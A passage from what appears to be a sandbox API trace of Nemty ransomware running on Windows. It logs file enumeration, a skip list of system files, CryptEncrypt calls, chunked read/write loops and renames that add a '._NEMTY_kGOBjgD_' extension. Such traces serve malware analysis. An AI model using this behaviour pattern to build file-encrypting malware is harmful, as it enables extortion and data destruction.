returned 0 [0115.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.202] CloseHandle (hObject=0xffffffff) returned 0 [0115.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0115.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0115.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0115.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0115.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png._nemty_kgobjgd_")) returned 0 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340340 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.203] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner.png", cAlternateFileName="")) returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2=".") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="..") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="...") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="windows") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="$RECYCLE.BIN") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="rsa") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="NTDETECT.COM") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="ntldr") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="MSDOS.SYS") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="IO.SYS") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="boot.ini") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="boot.ini") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="ntuser.dat") returned -1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="desktop.ini") returned 1 [0115.203] lstrcmpiW (lpString1="diner.png", lpString2="CONFIG.SYS") returned 1 [0115.204] lstrcmpiW (lpString1="diner.png", lpString2="RECYCLER") returned -1 [0115.204] lstrcmpiW (lpString1="diner.png", lpString2="BOOTSECT.BAK") returned 1 [0115.204] lstrcmpiW (lpString1="diner.png", lpString2="bootmgr") returned 1 [0115.204] lstrcmpiW (lpString1="diner.png", lpString2="programdata") returned -1 [0115.204] lstrcmpiW (lpString1="diner.png", lpString2="appdata") returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner.png", lpUsedDefaultChar=0x0) returned 9 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner.png", lpUsedDefaultChar=0x0) returned 9 [0115.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner.png", lpUsedDefaultChar=0x0) returned 9 [0115.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0115.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner.png", lpUsedDefaultChar=0x0) returned 9 [0115.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0115.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0115.204] Sleep (dwMilliseconds=0x5) [0115.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf852b070, dwHighDateTime=0x1d561e7)) [0115.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf852b070, dwHighDateTime=0x1d561e7)) [0115.219] GetLastError () returned 0x5 [0115.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.219] GetLastError () returned 0x5 [0115.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.220] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0115.220] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="PWwIHo+NzDyvBQHCxAjGDFElfd6cCXL/k8IZxFE/hdn6jC3CKFesWHfjVI+yQuhe\r\nlk4mSVe3yQMRp+vetxh2fVN4gWxv+xMx0xBJmMv6i/DUxsTR9d54KQME0iTyvHL3\r\nTLZ4/I4CZq0HaDs8x57jdCPGSkVXCtYVJw7ssoZ7jD1/F8tBd7VJZbBRs1eteDXU\r\n6AghQvKTB29105TZhL5j+lHoS4drs8KbnWXape5U2d8urXQuPLlYnO7yqqSC8SCd\r\nxabVzuAYGltLyGdI9gc2NTDh5sOnrJcUA028QN+zwFN5aLakFZY/KYV4zTJtzAo+\r\ngZQCP3SIGOLvEjNL12xYHQ==\r\n", pcchString=0x653e91c) returned 1 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0115.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.220] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.221] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, 